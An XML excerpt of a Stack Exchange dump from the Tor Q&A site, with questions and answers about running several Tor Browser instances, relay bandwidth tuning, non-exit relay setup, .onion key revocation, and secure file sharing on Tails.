  <row Id="6954" PostTypeId="2" ParentId="2006" CreationDate="2015-06-06T21:43:20.017" Score="3" Body="&lt;p&gt;Inspired in TorUser's answer, here is a bash script to automate that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;usage() { echo &quot;Usage: $0 [-n &amp;lt;number of copies&amp;gt;] [-p &amp;lt;path to default TBB&amp;gt;]&quot; 1&amp;gt;&amp;amp;2; exit 1; }&#xA;&#xA;print_userjs(){&#xA;  local socksport=${1}&#xA;  local controlport=${2}&#xA;  local dest=${3}&#xA;  echo &quot;user_pref(\&quot;extensions.torlauncher.control_port\&quot;,$controlport);&quot; &amp;gt; $dest&#xA;  echo &quot;user_pref(\&quot;extensions.torbutton.custom.socks_port\&quot;,$socksport);&quot; &amp;gt;&amp;gt; $dest&#xA;  echo &quot;user_pref(\&quot;extensions.torbutton.custom.socks_host\&quot;,\&quot;127.0.0.1\&quot;);&quot; &amp;gt;&amp;gt; $dest&#xA;  echo &quot;user_pref(\&quot;extensions.torbutton.proxies_applied\&quot;,false);&quot; &amp;gt;&amp;gt; $dest&#xA;  echo &quot;user_pref(\&quot;extensions.torbutton.use_privoxy\&quot;,false);&quot; &amp;gt;&amp;gt; $dest&#xA;  echo &quot;user_pref(\&quot;network.proxy.socks_port\&quot;,$socksport);&quot; &amp;gt;&amp;gt; $dest&#xA;}&#xA;&#xA;while getopts &quot;:n:p:&quot; o; do&#xA;  case &quot;${o}&quot; in&#xA;    n)&#xA;      n=${OPTARG}&#xA;      ;;&#xA;    p)&#xA;      p=${OPTARG}&#xA;      ;;&#xA;    *)&#xA;      usage&#xA;      exit 0&#xA;     ;;&#xA;  esac&#xA;done&#xA;if [ -z &quot;$n&quot; ] || [ -z &quot;$p&quot; ];&#xA;then&#xA;  usage&#xA;  exit 0&#xA;fi&#xA;for i in `seq 1 $n`;&#xA;do&#xA;  CONTROL_PORT=$((9151+$i*2))&#xA;  SOCKS_PORT=$((9150+$i*2)) &#xA;  echo &quot;$i) Copying $p to TBB$i&quot;&#xA;  cp -r $p TBB$i&#xA;  echo &quot;$i) Creating user.js with SocksPort $SOCKS_PORT and ControlPort $CONTROL_PORT&quot;&#xA;  print_userjs $SOCKS_PORT $CONTROL_PORT &quot;./TBB$i/Browser/TorBrowser/Data/Browser/profile.default/user.js&quot;&#xA;  echo &quot;$i) Modifying torrc-default&quot;&#xA;&#xA;  # update: These are not needed with newer versions of Tor Browser&#xA;  # TORRC=&quot;./TBB$i/Browser/TorBrowser/Data/Tor/torrc-defaults&quot;&#xA;  # sed -i &quot;s/SocksPort 9150/SocksPort $SOCKS_PORT/g&quot; $TORRC &#xA;  # sed -i &quot;s/ControlPort 9151/ControlPort $CONTROL_PORT/g&quot; $TORRC&#xA;&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Update: in the recent Tor Browser (December 2019) it is not longer required (neither will work) to modify torrc-defaults. The browser extensions seem to start Tor already with those port settings from user.js. So it is enough to just modify user.js in the browser profile.)&lt;/p&gt;&#xA;" OwnerUserId="7594" LastEditorUserId="28260" LastEditDate="2019-12-23T07:21:58.963" LastActivityDate="2019-12-23T07:21:58.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6957" PostTypeId="1" AcceptedAnswerId="6958" CreationDate="2015-06-07T11:35:08.320" Score="2" ViewCount="1253" Body="&lt;p&gt;I have a connection of 100mb/s and its going too slow, just look here: &lt;a href=&quot;https://globe.torproject.org/#/search/query=A11BAE8F2676FF78727EE74949836E495D801D90&quot; rel=&quot;nofollow&quot;&gt;https://globe.torproject.org/#/search/query=A11BAE8F2676FF78727EE74949836E495D801D90&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relay is located in a OVH VPS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use the complete bandwidth?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7599" LastEditorUserId="112" LastEditDate="2015-06-14T07:08:53.957" LastActivityDate="2015-06-14T07:08:53.957" Title="Why my relay is so slow?" Tags="|relays|bandwidth|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6958" PostTypeId="2" ParentId="6957" CreationDate="2015-06-07T13:35:04.267" Score="2" Body="&lt;p&gt;Try this maillist: &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2012-August/025296.html&quot; rel=&quot;nofollow&quot;&gt;https://lists.torproject.org/pipermail/tor-talk/2012-August/025296.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is Edward Snowden.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hi guys,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I've been running a kind-of 1gbps (voxility style 1gbps) exit server&#xA;  on  Debian for a couple months, and while it started out very fast,&#xA;  it's  gotten much slower over time. ....&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;He used 1gbps, it is 10x more than your speed. Anyway, his tuning shall help you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*sysctl* (straight c&amp;amp;p [minus the nf_conntrack entries] from Moritz' &#xA;excellent guide.  nf_conntrack is not currently used on my server):&#xA;&#xA;net.core.rmem_max = 33554432&#xA;net.core.wmem_max = 33554432&#xA;net.ipv4.tcp_rmem = 4096 87380 33554432&#xA;net.ipv4.tcp_wmem = 4096 65536 33554432&#xA;net.core.rmem_default = 524287&#xA;net.core.wmem_default = 524287&#xA;net.core.optmem_max = 524287&#xA;net.core.netdev_max_backlog = 300000&#xA;net.ipv4.tcp_mem = 33554432 33554432 33554432&#xA;net.ipv4.tcp_max_orphans = 30000&#xA;net.ipv4.tcp_max_syn_backlog = 300000&#xA;net.ipv4.tcp_fin_timeout = 4&#xA;vm.min_free_kbytes = 65536&#xA;&#xA;net.ipv4.tcp_keepalive_time = 60&#xA;net.ipv4.tcp_keepalive_intvl = 10&#xA;net.ipv4.tcp_keepalive_probes = 3&#xA;net.ipv4.ip_local_port_range = 1025 65530&#xA;net.core.somaxconn = 30720&#xA;net.ipv4.tcp_max_tw_buckets = 2000000&#xA;net.ipv4.tcp_timestamps = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7602" LastActivityDate="2015-06-07T13:35:04.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6959" PostTypeId="1" CreationDate="2015-06-07T17:05:04.547" Score="3" ViewCount="2418" Body="&lt;p&gt;I am helping a journalist team to communicate securely with their sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation has been to start with &lt;a href=&quot;https://tails.boum.org/%20Tails&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the things they need is Dropbox functionality over Tor: They need to share a directory with their team and another directory (possibly a subdir) with each of their sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has to be safe: If an attacker gets hold of the USB drive he should not be able to access any decrypted data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has to be usable for journalists with limited IT-knowledge:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Preferably a single passphrase to open the USB drive and then everything just works.&lt;/li&gt;&#xA;&lt;li&gt;A simple way of adding a team member (with full access to the dir) and a source (with full access to the subdir).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is acceptable if one of the team members needs to stay online all the time, as long as this machine can stay in a mode that has no access to decrypted data (similar to an untrusted server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has any such functionality been tested to work with Tails?&lt;/p&gt;&#xA;" OwnerUserId="1129" LastActivityDate="2018-07-02T07:29:59.187" Title="Dropbox for Tails?" Tags="|tails|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6960" PostTypeId="2" ParentId="6812" CreationDate="2015-06-07T17:58:31.123" Score="1" Body="&lt;p&gt;Changing to a more recent version of TOR(&gt;= 4.5) allows for specific exit node selection. The issue may have been caused by high latency; in the previous versions of TOR circuits with a certain delay may have been disabled. &lt;/p&gt;&#xA;" OwnerUserId="7410" LastActivityDate="2015-06-07T17:58:31.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6961" PostTypeId="2" ParentId="6957" CreationDate="2015-06-07T18:13:23.340" Score="3" Body="&lt;p&gt;Have you read &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;the lifecycle of a new tor relay&lt;/a&gt;?  In particular:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So that's phase one: your new relay gets basically no use for the first few days of its life because of the low 20KB cap, while it waits for a threshold of bwauths to measure it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7603" LastActivityDate="2015-06-07T18:13:23.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6962" PostTypeId="1" CreationDate="2015-06-07T19:41:12.747" Score="5" ViewCount="1050" Body="&lt;p&gt;I downloaded the 64-bit Windows installed for &quot;Tor Browser&quot; from this URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download-easy.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It installed and worked as expected and can display normal and &lt;code&gt;.onion&lt;/code&gt; sites.&#xA;The first default page it displays is  &lt;code&gt;about:tor&lt;/code&gt;&#xA;Under &quot;you can help&quot; there is a link called &lt;em&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Run a Tor Relay Node&lt;/a&gt;&lt;/em&gt;&#xA;which says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Alas, since Vidalia (a graphical interface for Tor) is no longer included in Tor Browser, there are currently no easy relay packages for Windows and OS X users.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Followed by &lt;em&gt;Configure Tor by editing the torrc file&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edited my &lt;code&gt;..\Tor Browser\Browser\TorBrowser\Data\Tor\torrc&lt;/code&gt; file as directed and added the port forward to my firewall.&#xA;Unfortunately the Tor Browser failed to start after that and entered a &lt;code&gt;failed to start, need to restart&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enabled debug logging but nothing was added to the log during these events.&#xA;I reverted the edits and verified the logging system actually worked.&#xA;I trawled the tor site, Google and this site for further explicit information with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am now assuming that the &quot;Tor Browser&quot; is 100% client and cannot relay traffic for any other users of the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct? If not, how do I active the relay functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Clarification&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand and followed the instructions on the Tor site. What I don't know is if they failed because they were &lt;em&gt;never intended to work on the Tor Browser&lt;/em&gt; or for some other reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;in response to  Jens Kubieziel requests for more detailed test ....&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with Tor Browser closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contents of &quot;S:\tor\Tor Browser\Browser\TorBrowser\Data\Tor\torrc&quot; are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory S:\tor\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile S:\tor\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File S:\tor\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this line at bottom:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log debug file my_debug.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save and close.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open Tor browser and go to Tor blog page, all Ok.&#xA;Close Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A file has been created at &quot;S:\tor\Tor Browser\Browser\my_debug.log&quot; with 32000 odd log entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change contents of &quot;S:\tor\Tor Browser\Browser\TorBrowser\Data\Tor\torrc&quot; to: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory S:\tor\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile S:\tor\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File S:\tor\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;&#xA;Log debug file my_debug.log&#xA;&#xA;ORPort 443&#xA;Exitpolicy reject *:*&#xA;Nickname 78629847569874&#xA;ContactInfo ignore@fakedomain.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save and close.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deleted contents of &quot;S:\tor\Tor Browser\Browser\my_debug.log&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open Tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get following error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w4Gpa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check contents of &quot;S:\tor\Tor Browser\Browser\my_debug.log&quot;, its blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click &quot;Restart Tor&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get following error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qjKfk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check contents of &quot;S:\tor\Tor Browser\Browser\my_debug.log&quot;, its blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the &quot;Copy Tor Log To Clipboard&quot; button and paste into notepad, also blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click &quot;Restart Tor&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get same error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logs still blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get following error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AGOcK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check contents of &quot;S:\tor\Tor Browser\Browser\my_debug.log&quot;, its blank.&lt;/p&gt;&#xA;" OwnerUserId="7605" LastEditorUserId="7655" LastEditDate="2015-06-16T09:22:01.620" LastActivityDate="2015-07-25T16:27:14.390" Title="Can the Tor Browser be configured to function as a non-exit relay node?" Tags="|tor-browser-bundle|configuration|relays|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6963" PostTypeId="2" ParentId="6962" CreationDate="2015-06-07T20:56:15.507" Score="0" Body="&lt;p&gt;Im going to explain you how to make the relay work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all you need to enter in here: ....\Tor Browser\Browser\TorBrowser\Data\Tor\torrc as you said in your post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end you should add:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 443&#xA;Exitpolicy reject *:*&#xA;Nickname ididntedittheconfig&#xA;ContactInfo human@...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should open the port mentioned in ORPort or change it to the one you have open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exitpolicy reject &lt;em&gt;:&lt;/em&gt; means that the relay wont act as a exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contact info you can put you email, if you dont want just leave it like its.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nickname means the name of your relay, you can put what you want or leave it like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done you just need to restart the relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you leve it like that the relay will use all of your brandwich if you dont want so just add this at the end of torrc, when you add it remember restarting the relay&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RelayBandwidthRate 1000 KBytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;1000 KBytes means that the relay will use 20mb of your connection, for knowing what to put there you need to write make this opperation 20*X KBytes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="7599" LastActivityDate="2015-06-07T20:56:15.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6965" PostTypeId="1" AcceptedAnswerId="7002" CreationDate="2015-06-08T07:11:32.650" Score="2" ViewCount="334" Body="&lt;p&gt;Can I revoke a .onion address, to &quot;open it&quot; back up for registration? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible, in the world of certificate authorities, to maintain revocation lists for keys that have been compromised or are no longer in use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can revoke an SSL certificate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can one do something like this for the keypair used for a .onion address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I making any sense, here? Is there even an analogy to the sort of revocation I am discussing, here? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One might say that this issue has &quot;layers&quot;. Like an onion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my second question on the site, and I welcome all comments, counter-questions, jokes about Shrek or onions, etc. &lt;/p&gt;&#xA;" OwnerUserId="7608" LastEditorUserId="112" LastEditDate="2015-06-08T17:14:14.933" LastActivityDate="2015-06-19T12:53:02.453" Title="How do I revoke a .onion address?" Tags="|dns|certificate|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6966" PostTypeId="2" ParentId="6965" CreationDate="2015-06-08T09:37:23.967" Score="3" Body="&lt;p&gt;Anyone with the private key can submit HSDir entries for a .onion address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no &quot;registration&quot; per se, only deriving the private key and its public key, but creating a private key with a specific public key is computationally infeasible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those vanity url's like Facebook's facebookcorewwwi.onion are discovered, not registered, by generating billions of key pairs, saving the ones whose urls you containing words you like, like facebook, and trashing the rest.  &lt;/p&gt;&#xA;" OwnerUserId="3731" LastActivityDate="2015-06-08T09:37:23.967" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6967" PostTypeId="1" CreationDate="2015-06-08T12:28:00.283" Score="1" ViewCount="79" Body="&lt;p&gt;I have read &lt;a href=&quot;https://tor.stackexchange.com/questions/6902/how-to-install-tails-as-the-primary-os-on-my-hardisk&quot;&gt;THIS&lt;/a&gt; and &lt;a href=&quot;https://tor.stackexchange.com/questions/1480/can-tails-be-installed-as-primary-os&quot;&gt;THIS&lt;/a&gt; and I would also like to use tails as my primary OS. Before I go any further, please understand that this is mainly and academic exercise. So im not too bothered about the slight impracticality of the hardware work in this project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to buy &lt;a href=&quot;http://www.ebay.co.uk/sch/i.html?_odkw=dell%20inspiron%203000&amp;amp;_osacat=0&amp;amp;_from=R40&amp;amp;_trksid=p2045573.m570.l1313.TR11.TRC1.A0.H0.Xdell%20mini%2010.TRS0&amp;amp;_nkw=dell%20mini%2010&amp;amp;_sacat=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;THIS&lt;/a&gt; computer as a cheap way to try this out. I will remove the hard drive, then another one of the USB ports, and resolved it to the motherboard via a few inches of wire. I will then insert a 1 male to 2 female USB port splitter into the now extended USB port, and put a tails usb stick into one of the resulting female ports. I will keep the cables etc out of the way, with insulation tape in the void where the hard drive was. The remaining empty female USB port will then be used as the original motherboard USB port was (I will position it at the edge of the board, and secure it with tape) so that other usb devices can be connected as they were before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if I power on the computer, tails will be the only available OS, and it will boot. Right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just posted on here to make sure that this will work  as this is my first time doing anything at all like this. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7609" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-06-10T01:27:40.137" Title="Will the Underwritten method for using TAILS work?" Tags="|anonymity|tails|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6968" PostTypeId="2" ParentId="6959" CreationDate="2015-06-08T12:29:52.943" Score="0" Body="&lt;p&gt;if you assume a untrusted server (and you should always do so to be on the save side) you can't use Dropbox... with it you neither know what the software does, nor have physical access to the server!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;if you are asking for a general encrypted cloud-based storage you have to look for services with &lt;strong&gt;&quot;client side&quot;&lt;/strong&gt; or &lt;strong&gt;&quot;end-to-end&quot; encryption&lt;/strong&gt; and ideally open source (for server &amp;amp; client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;F(L)OSS-systems you can also setup yourself; either at a hoster (nobody needs to stay online and it's more reliable &amp;amp; performant) or at your own hardware (maybe accessible via &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor hidden service&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for this case i would recommend &lt;a href=&quot;http://seafile.com/en/home/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Seafile&lt;/strong&gt;&lt;/a&gt; &lt;s&gt;or &lt;a href=&quot;http://www.arxshare.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;arXshare&lt;/strong&gt;&lt;/a&gt;&lt;/s&gt;... but they also have paid services!&lt;br&gt;&#xA;or if you are storing hardly anything other than text-files also &lt;a href=&quot;http://sparkleshare.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SparkleShare&lt;/a&gt; will be an option.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;i personally use &lt;a href=&quot;https://owncloud.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ownCloud&lt;/a&gt;, so i can tell you the &lt;a href=&quot;https://doc.owncloud.org/server/8.0/admin_manual/configuration_user/user_configuration.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;user management&lt;/a&gt; can do everything (and more) you want to, BUT you have to thrust your server as the files are not stored encrypted!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;there are also some commercial services with end-to-end encryption, but as they are not open source you have to thrust their software (and so i won't recommend them!): &lt;a href=&quot;https://spideroak.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SpiderOak&lt;/a&gt; and &lt;a href=&quot;https://tresorit.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tresorit&lt;/a&gt; or maybe also &lt;s&gt;&lt;a href=&quot;https://www.wuala.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wuala&lt;/a&gt; or&lt;/s&gt; &lt;a href=&quot;https://mega.co.nz/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MEGA&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2018-07-02T07:29:59.187" LastActivityDate="2018-07-02T07:29:59.187" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="6969" PostTypeId="1" AcceptedAnswerId="6970" CreationDate="2015-06-08T17:04:48.760" Score="1" ViewCount="410" Body="&lt;p&gt;It's very possible to have different end-nodes using the Tor Browser. see &lt;a href=&quot;https://tor.stackexchange.com/questions/6846/multiple-instances-of-tor-w-tor-browser-since-v4-5&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to configure the .exe to do the same thing (without the TBB). &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;These&lt;/a&gt; are a list of commands that help to do that (I think). Has anyone tried this before? Possible?&lt;/p&gt;&#xA;" OwnerUserId="7462" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-06-09T09:23:54.530" Title="How to configure multiple Tor.exes" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6970" PostTypeId="2" ParentId="6969" CreationDate="2015-06-08T17:31:24.853" Score="1" Body="&lt;p&gt;The link you provide shows how to do it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor.exe -f torrc1&#xA;tor.exe -f torrc2&#xA;tor.exe -f torrc3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where each of the torrc[n] files have been configured to choose different listening addresses like SOCKSPort 9999 and ORPort 5555 depending on what you're doing with these services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to test the connections in console, run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor.exe -f torrc1 | more&#xA;tor.exe -f torrc2 | more&#xA;tor.exe -f torrc3 | more&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each torrc needs a data directory, so I copied the directory that came with the TBB and replicated it x amount of times. Here's what the contents of my first torrc looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory C:\Users\xxx\Desktop\Tor\Tor\Data directores\Data1\Tor&#xA;GeoIPFile C:\Users\xxx\Desktop\Tor\Tor\Data directores\Data1\Tor\geoip&#xA;GeoIPv6File C:\Users\xxx\Desktop\Tor\Tor\Data directores\Data1\Tor\geoip6&#xA;&#xA;SocksPort 9151&#xA;ControlPort 9051&#xA;SocksBindAddress 127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the second:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory C:\Users\xxx\Desktop\Tor\Tor\Data directores\Data2\Tor&#xA;GeoIPFile C:\Users\xxx\Desktop\Tor\Tor\Data directores\Data2\Tor\geoip&#xA;GeoIPv6File C:\Users\xxx\Desktop\Tor\Tor\Data directores\Data2\Tor\geoip6&#xA;&#xA;SocksPort 9152&#xA;ControlPort 9052&#xA;SocksBindAddress 127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="7462" LastEditDate="2015-06-09T09:23:54.530" LastActivityDate="2015-06-09T09:23:54.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6972" PostTypeId="2" ParentId="6952" CreationDate="2015-06-08T18:00:38.753" Score="3" Body="&lt;p&gt;Besides the traditional identifiers, mobile devices have extra ones. Here's the ones I could come up with&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Baseband Identifiers: IMEI/MEID, IMSI/TMSI&lt;/li&gt;&#xA;&lt;li&gt;Device Identifiers: Browser user agent, device model, serial number, screen resolution, ANDROID_ID&lt;/li&gt;&#xA;&lt;li&gt;Network Identifiers: WiFi MAC, baseband MAC, IP, carrier &lt;/li&gt;&#xA;&lt;li&gt;OS Identifiers: Capability/function disclosure, OS version disclosure&lt;/li&gt;&#xA;&lt;li&gt;Tracking Software: &lt;a href=&quot;http://www.wired.com/2014/10/verizons-perma-cookie/&quot; rel=&quot;nofollow&quot;&gt;Verizon Super Cookie&lt;/a&gt;, apps that send your PII in the clear, device debug/crash reports sent to third parties&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-08T18:00:38.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
